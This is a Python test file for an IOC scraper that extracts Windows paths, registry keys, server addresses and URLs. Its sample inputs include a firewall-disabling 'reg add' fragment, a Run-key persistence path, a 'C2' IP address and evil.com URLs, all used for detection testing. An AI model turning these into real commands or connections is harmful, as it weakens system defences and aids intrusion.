    def test_path_just_root(self):
        """Bare `C:\\` (the root of a drive) must match — Defender exclusion
        lists ship it as a literal entry."""
        text = "['C:\\\\', 'C:\\\\Windows']"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert "C:\\" in values
        assert r"C:\Windows" in values

    def test_drive_letter_alone_does_not_match(self):
        """`D:` with no separator following is not a path."""
        text = "Drive D: is mounted"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []

    def test_trailing_punctuation_is_stripped(self):
        """`See C:\\Path\\file.txt.` — the final period is sentence
        punctuation, not part of the path. `rstrip('.,;:')` strips it."""
        text = r"See C:\Path\file.txt, and also C:\Other\file.exe."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        values = {i.ioc_value for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS}
        assert r"C:\Path\file.txt" in values
        assert r"C:\Other\file.exe" in values


class TestIOCScraperRegistryKey:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_hklm_short_form(self):
        text = r"reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess /v EnableFirewall"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" in ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_hkey_long_form(self):
        text = r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" == ioc.ioc_value for ioc in reg_iocs)

    def test_scrape_registry_source_escaped(self):
        """Same source-escaping concern as Windows paths."""
        text = "'HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\SharedAccess\\\\Parameters\\\\FirewallPolicy\\\\DomainProfile'"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert any(r"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" == ioc.ioc_value for ioc in reg_iocs)
        assert all("\\\\" not in ioc.ioc_value for ioc in reg_iocs)

    def test_bare_hive_not_extracted(self):
        """A bare hive mention with no path component should not match — too
        common in prose ('the HKLM hive') to be useful as an IOC."""
        text = "The HKLM hive contains system-wide settings; HKCU is per-user."
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        reg_iocs = [i for i in iocs if i.ioc_type == IOCType.REGISTRY_KEY]
        assert reg_iocs == []

    def test_registry_not_classified_as_path(self):
        """HKLM\\... starts with letters not a drive-letter+colon, so the
        Windows path regex must not also match it."""
        text = r"HKLM\SYSTEM\CurrentControlSet\Services\Foo"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        path_iocs = [i for i in iocs if i.ioc_type == IOCType.PATH_WINDOWS]
        assert path_iocs == []


class TestIOCScraperServer:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_server(self):
        text = "Connect to 185.100.87.202:8080 for C2"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        server_iocs = [i for i in iocs if i.ioc_type == IOCType.SERVER]
        assert len(server_iocs) >= 1
        assert "185.100.87.202:8080" in server_iocs[0].ioc_value


class TestIOCScraperDedup:
    def setup_method(self):
        self.scraper = IOCScraper()

    def test_scrape_dedup_within_text(self):
        text = "https://evil.com https://evil.com"
        iocs = list(self.scraper.scrape(text, SourceType.STRING, "test"))
        url_iocs = [i for i in iocs if i.ioc_type == IOCType.URL]
        assert len(url_iocs) == 1

    def test_scrape_empty_text(self):
        iocs = list(self.scraper.scrape("", SourceType.STRING, "test"))
        assert len(iocs) == 0